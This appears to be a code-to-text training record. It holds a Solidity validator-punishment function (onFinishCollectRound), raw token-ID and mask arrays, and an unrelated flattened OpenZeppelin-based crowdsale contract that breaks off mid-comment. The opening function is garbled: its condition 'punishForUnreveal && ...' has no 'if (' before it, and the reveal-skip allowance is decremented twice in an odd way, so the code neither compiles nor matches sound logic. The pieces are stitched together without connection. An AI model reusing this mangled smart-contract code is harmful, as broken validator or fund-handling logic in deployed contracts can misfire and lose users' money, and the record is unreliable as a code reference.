function onFinishCollectRound() external onlyBlockReward { if (_getCurrentBlockNumber() % collectRoundLength != 0) return; address[] memory validators; address validator; uint256 i; address stakingContract = validatorSetContract.stakingContract(); uint256 stakingEpoch = IStakingAuRa(stakingContract).stakingEpoch(); uint256 startBlock = IStakingAuRa(stakingContract).stakingEpochStartBlock(); uint256 endBlock = IStakingAuRa(stakingContract).stakingEpochEndBlock(); uint256 currentRound = currentCollectRound(); if (_getCurrentBlockNumber() > startBlock + collectRoundLength * 3) { validators = validatorSetContract.getValidators(); for (i = 0; i < validators.length; i++) { validator = validators[i]; if (!sentReveal(currentRound, validator)) { address stakingAddress = validatorSetContract.stakingByMiningAddress(validator); _revealSkips[stakingEpoch][stakingAddress]++; } } } punishForUnreveal && (_getCurrentBlockNumber() == endBlock || _getCurrentBlockNumber() + collectRoundLength > endBlock) ) { uint256 maxRevealSkipsAllowed = IStakingAuRa(stakingContract).stakeWithdrawDisallowPeriod() / collectRoundLength; if (maxRevealSkipsAllowed > 1) { maxRevealSkipsAllowed -= 2; maxRevealSkipsAllowed--; } address[] memory maliciousValidators = new address[](validators.length); uint256 maliciousValidatorsLength = 0; for (i = 0; i < validators.length; i++) { validator = validators[i]; if ( !sentReveal(currentRound, validator) || revealSkips(stakingEpoch, validator) > maxRevealSkipsAllowed ) { maliciousValidators[maliciousValidatorsLength++] = validator; } } if (maliciousValidatorsLength > 0) { address[] memory miningAddresses = new address[](maliciousValidatorsLength); for (i = 0; i < maliciousValidatorsLength; i++) { miningAddresses[i] = maliciousValidators[i]; } validatorSetContract.removeMaliciousValidators(miningAddresses); } } }
16,647,053
[ 1, 4081, 2856, 326, 783, 11632, 622, 326, 679, 434, 1517, 1849, 3643, 283, 537, 18931, 3675, 5600, 16, 471, 7157, 27431, 28728, 11632, 309, 3577, 18, 1220, 445, 1552, 5083, 309, 326, 783, 1203, 353, 486, 326, 1142, 1203, 434, 326, 783, 1849, 3643, 18, 4480, 1338, 506, 2566, 635, 326, 1375, 1768, 17631, 1060, 37, 89, 12649, 68, 6835, 261, 1637, 2097, 1375, 266, 2913, 68, 445, 2934, 1220, 353, 326, 1142, 1203, 434, 326, 783, 1849, 3643, 2073, 2856, 1517, 4213, 10242, 1404, 283, 24293, 3675, 1300, 4982, 326, 783, 1849, 3643, 6622, 326, 4213, 487, 27431, 28728, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 603, 11641, 10808, 11066, 1435, 3903, 1338, 1768, 17631, 1060, 288, 203, 3639, 309, 261, 67, 588, 3935, 1768, 1854, 1435, 738, 3274, 11066, 1782, 480, 374, 13, 327, 31, 203, 203, 203, 3639, 1758, 8526, 3778, 11632, 31, 203, 3639, 1758, 4213, 31, 203, 3639, 2254, 5034, 277, 31, 203, 203, 3639, 1758, 384, 6159, 8924, 273, 4213, 694, 8924, 18, 334, 6159, 8924, 5621, 203, 203, 3639, 2254, 5034, 384, 6159, 14638, 273, 467, 510, 6159, 37, 89, 12649, 12, 334, 6159, 8924, 2934, 334, 6159, 14638, 5621, 203, 3639, 2254, 5034, 787, 1768, 273, 467, 510, 6159, 37, 89, 12649, 12, 334, 6159, 8924, 2934, 334, 6159, 14638, 1685, 1768, 5621, 203, 3639, 2254, 5034, 679, 1768, 273, 467, 510, 6159, 37, 89, 12649, 12, 334, 6159, 8924, 2934, 334, 6159, 14638, 1638, 1768, 5621, 203, 3639, 2254, 5034, 783, 11066, 273, 783, 10808, 11066, 5621, 203, 203, 3639, 309, 261, 67, 588, 3935, 1768, 1854, 1435, 405, 787, 1768, 397, 3274, 11066, 1782, 380, 890, 13, 288, 203, 5411, 11632, 273, 4213, 694, 8924, 18, 588, 19420, 5621, 203, 5411, 364, 261, 77, 273, 374, 31, 277, 411, 11632, 18, 2469, 31, 277, 27245, 288, 203, 7734, 4213, 273, 11632, 63, 77, 15533, 203, 7734, 309, 16051, 7569, 426, 24293, 12, 2972, 11066, 16, 4213, 3719, 288, 203, 10792, 1758, 384, 6159, 1887, 273, 4213, 694, 8924, 18, 334, 6159, 858, 2930, 310, 1887, 12, 7357, 1769, 203, 10792, 389, 266, 24293, 6368, 87, 63, 334, 6159, 14638, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-12-15 */ pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/utils/ReentrancyGuard.sol pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { bool private _notEntered; constructor () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/access/roles/PauserRole.sol pragma solidity ^0.5.0; contract PauserRole is Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(_msgSender()); } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/lifecycle/Pausable.sol pragma solidity ^0.5.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/ownership/Secondary.sol pragma solidity ^0.5.0; /** * @dev A Secondary contract can only be used by its primary account (the one that created it). */ contract Secondary is Context { address private _primary; /** * @dev Emitted when the primary contract changes. */ event PrimaryTransferred( address recipient ); /** * @dev Sets the primary account to the one that is creating the Secondary contract. */ constructor () internal { address msgSender = _msgSender(); _primary = msgSender; emit PrimaryTransferred(msgSender); } /** * @dev Reverts if called from any account other than the primary. */ modifier onlyPrimary() { require(_msgSender() == _primary, "Secondary: caller is not the primary account"); _; } /** * @return the address of the primary. */ function primary() public view returns (address) { return _primary; } /** * @dev Transfers contract to a new primary. * @param recipient The address of new primary. */ function transferPrimary(address recipient) public onlyPrimary { require(recipient != address(0), "Secondary: new primary is the zero address"); _primary = recipient; emit PrimaryTransferred(recipient); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/crowdsale/Crowdsale.sol pragma solidity ^0.5.0; /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conforms * the base architecture for crowdsales. It is *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropriate to concatenate * behavior. */ contract Crowdsale is Context, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address payable private _wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 private _rate; // Amount of wei raised uint256 private _weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param rate Number of token units a buyer gets per wei * @dev The rate is the conversion between wei and the smallest and indivisible * token unit. So, if you are using a rate of 1 with a ERC20Detailed token * with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK. * @param wallet Address where collected funds will be forwarded to * @param token Address of the token being sold */ constructor (uint256 rate, address payable wallet, IERC20 token) public { require(rate > 0, "Crowdsale: rate is 0"); require(wallet != address(0), "Crowdsale: wallet is the zero address"); require(address(token) != address(0), "Crowdsale: token is the zero address"); _rate = rate; _wallet = wallet; _token = token; } /** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer funds with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a contract. */ function () external payable { buyTokens(_msgSender()); } /** * @return the token being sold. */ function token() public view returns (IERC20) { return _token; } /** * @return the address where funds are collected. */ function wallet() public view returns (address payable) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate() public view returns (uint256) { return _rate; } /** * @return the amount of wei raised. */ function weiRaised() public view returns (uint256) { return _weiRaised; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * This function has a non-reentrancy guard, so it shouldn't be called by * another `nonReentrant` function. * @param beneficiary Recipient of the token purchase */ function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(beneficiary, weiAmount); * require(weiRaised().add(weiAmount) <= cap); * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address"); require(weiAmount != 0, "Crowdsale: weiAmount is 0"); this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid * conditions are not met. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { // solhint-disable-previous-line no-empty-blocks } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends * its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send * tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, * etc.) * @param beneficiary Address receiving the tokens * @param weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { // solhint-disable-previous-line no-empty-blocks } /** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { _wallet.transfer(msg.value); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/crowdsale/validation/CappedCrowdsale.sol pragma solidity ^0.5.0; /** * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param cap Max amount of wei to be contributed */ constructor (uint256 cap) public { require(cap > 0, "CappedCrowdsale: cap is 0"); _cap = cap; } /** * @return the cap of the crowdsale. */ function cap() public view returns (uint256) { return _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised() >= _cap; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { super._preValidatePurchase(beneficiary, weiAmount); require(weiRaised().add(weiAmount) <= _cap, "CappedCrowdsale: cap exceeded"); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/crowdsale/validation/PausableCrowdsale.sol pragma solidity ^0.5.0; /** * @title PausableCrowdsale * @dev Extension of Crowdsale contract where purchases can be paused and unpaused by the pauser role. */ contract PausableCrowdsale is Crowdsale, Pausable { /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use super to concatenate validations. * Adds the validation that the crowdsale must not be paused. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view whenNotPaused { return super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/crowdsale/validation/TimedCrowdsale.sol pragma solidity ^0.5.0; /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; // EDIT: changed from private to internal uint256 internal _openingTime; uint256 internal _closingTime; /** * Event for crowdsale extending * @param newClosingTime new closing time * @param prevClosingTime old closing time */ event TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime); /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(isOpen(), "TimedCrowdsale: not open"); _; } /** * @dev 